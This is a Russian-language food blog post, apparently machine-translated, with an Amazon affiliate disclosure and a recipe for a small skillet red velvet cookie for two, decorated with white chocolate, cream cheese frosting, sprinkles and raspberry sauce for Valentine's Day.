Этот пост содержит партнерские ссылки Amazon, которые приносят мне небольшую комиссию бесплатно для вас.Я рекомендую только те продукты, которые я использую и которые люблю. Узнайте больше о моей партнерской политике здесь.

Red Velvet Cookie For Two

Это Red Velvet Cookie уменьшенного размера для двоих, как раз ко Дню святого Валентина, оно жевательное, наполненное шоколадом и полное аромата!

Всем привет, надеюсь, у вас все хорошо! День святого Валентина почти наступил, и сегодня я делюсь маленьким печеньем Red Velvet для вас и вашего любимого человека!

Я давно хотел приготовить Red Velvet Cookie на сковороде, но до этого не дошло.Не знаю, как вы, но у меня есть мысленный список вещей, которые я хочу сделать, а затем случайно что-то супер захватывающее всплывает мне в голову, а все остальное падает!

Это печенье из красного бархата так легко приготовить, и оно отлично подходит для Дня святого Валентина или в любое другое время, если вы действительно не делаете День святого Валентина! Вы можете сделать это вместе с детьми и попросить их украсить его, или просто сделайте это для вас и вашего любимого человека.

В День святого Валентина у меня дома не такие уж и большие, но мы дарим друг другу открытки, и я обычно что-нибудь пекаю для мужа.

Это печенье из красного бархата легко приготовить, и вы можете заранее приготовить тесто, а затем испечь его, когда оно вам понадобится. Мне нравится готовить вещи в сковороде, потому что я считаю, что они хорошо выглядят и требуют меньше мытья посуды, так как вы можете запекать их и подавать на одной и той же сковороде!

Для этого рецепта вам понадобится сильный красный пищевой краситель, я бы посоветовал использовать профессиональные гелевые красители, так как они очень интенсивные и вам не нужно много. Я пробовала пищевой краситель из супермаркета, и вам нужно использовать всю бутылку!

Я использую пищевой краситель Wilton.Они могут быть более грязными, чем в горшочках, но я кладу горшок на кухонную бумагу, а затем использую зубочистку, чтобы подобрать цвет. Еще я ношу перчатки, чтобы мои руки не выглядели так, будто я совершил преступление!

Чтобы приготовить это Red Velvet Cookie, вам просто нужно смешать сливочное масло и сахар, добавить яйцо и немного ванили, добавить бикарбонат соды и уксуса, добавить сухие ингредиенты и покрасить в красный цвет.

Этот рецепт не требует охлаждения, поэтому вы можете перейти от смеси к еде за 40 минут! Я решил добавить кусочки белого шоколада в свое печенье Red Velvet, так как мне нравится иметь кусочки плавленого шоколада в каждом укусе.При желании можно использовать стружку из молочного или темного шоколада.

Я украсила свое печенье глазурью из сливочного сыра, розовой посыпкой и малиновым соусом. Я использовал малиновый соус, потому что хотел что-то розово-красное, но вы можете сбрызнуть шоколадным соусом, если хотите. Вы также могли купить посыпку в форме сердца, но у меня в шкафу была смесь румян и розового золота, и я подумал, что она круто смотрится на моем печенье.

Я тоже решил полениться и на этот раз использовать глазурь, купленную в магазине.Вам не нужно так много, поэтому я подумал, что было бы бесполезно пытаться приготовить глазурь, поскольку у меня есть рецепт глазури, который я всегда использую, но он уступит слишком много! Я разместил глазурь в центре, так как на своих фотографиях я хотел, чтобы вы могли видеть каждый элемент, но вы можете либо распределить его по печенью, чтобы покрыть его, либо обмотать его по краю. Все зависит от вас!

Red Velvet Cookie For Two

Это Red Velvet Cookie уменьшенного размера для двоих, как раз ко Дню святого Валентина, оно жевательное, наполненное шоколадом и полное аромата!

Ингредиенты

  • Для печенья:
  • 1 палочка (113 г) несоленого сливочного масла
  • 1/4 стакана (50 г) кастрюли / белого сахара
  • 1/4 стакана (50 г) светло-коричневого сахара
  • 1 большое яйцо
  • 1 чайная ложка ванильного экстракта
  • 1 1/4 стакана (175 г) простой / универсальной муки
  • 2 столовые ложки какао-порошка
  • 1 чайная ложка кукурузного крахмала / крахмала
  • Щепотка соли
  • 1/2 стакана (87 г) белого / чипсы молоко / темный шоколад
  • 1 чайная ложка соды / пищевая сода
  • 1 чайная ложка белого уксуса
  • Для начинки:
  • Красный пищевой краситель. Количество будет меняться в зависимости от того, какой тип вы используете.Я советую использовать профессиональный гель, иначе вам, вероятно, придется использовать целую бутылку пищевого красителя.
  • 5 столовых ложек, купленных в магазине, ванильной или сливочно-сырной глазури
  • Посыпка для украшения, по желанию

Инструкции

  1. Разогрейте духовку до 180C / 350F и опрыскайте 8-дюймовую сковороду кулинарным спреем. Вы можете использовать любую небольшую форму для запекания, но помните, что время приготовления может измениться.

  2. Положите сливочное масло, белый и светло-коричневый сахар в большую миску или чашу миксера и взбивайте до получения легкой пышности около 2 минут на средне-высокой скорости.

  3. Добавьте яйцо и ваниль, соскребая со всех сторон по мере необходимости, перемешивая на средней скорости, пока все хорошо не смешается.

  4. Поместите муку, какао-порошок, кукурузный крахм, соль и шоколадную стружку в небольшую миску и перемешивайте, пока все шоколадные стружки не будут покрыты мукой.

  5. Поместите бикарбонат соды в небольшой стакан, затем добавьте уксус и перемешайте. Он вспенится, а затем успокоится. Вылейте это в смесь яиц и сахара и перемешайте до однородности.

  6. Добавляйте красный пищевой краситель понемногу, пока не получите желаемый цвет. Если вы используете жидкий пищевой краситель, вам, вероятно, понадобится целая бутылка. Я использовала гель-краситель Wilton, мне понадобилось около 1/2 чайной ложки.

  7. Добавьте муку и перемешивайте на средней скорости, пока все не превратится в тесто. Если после того, как вы добавили муку, цвет вас не устроил, добавьте еще немного и перемешайте. Как только вы будете довольны цветом, переложите смесь в подготовленную сковороду и разровняйте до однородного слоя.

  8. Поместите Red Velvet Cookie в духовку на 20-25 минут, пока она не поднимется, верхняя часть будет выглядеть матовой в свете духовки, а вставленная в центр шпажка выходит чистой / с одной или двумя крошками. Ничего страшного, если центр все еще кажется немного мягким.

  9. Вы можете копнуть прямо или подождать около 30 минут, чтобы украсить.

Leave a Reply

Ваш адрес email не будет опубликован.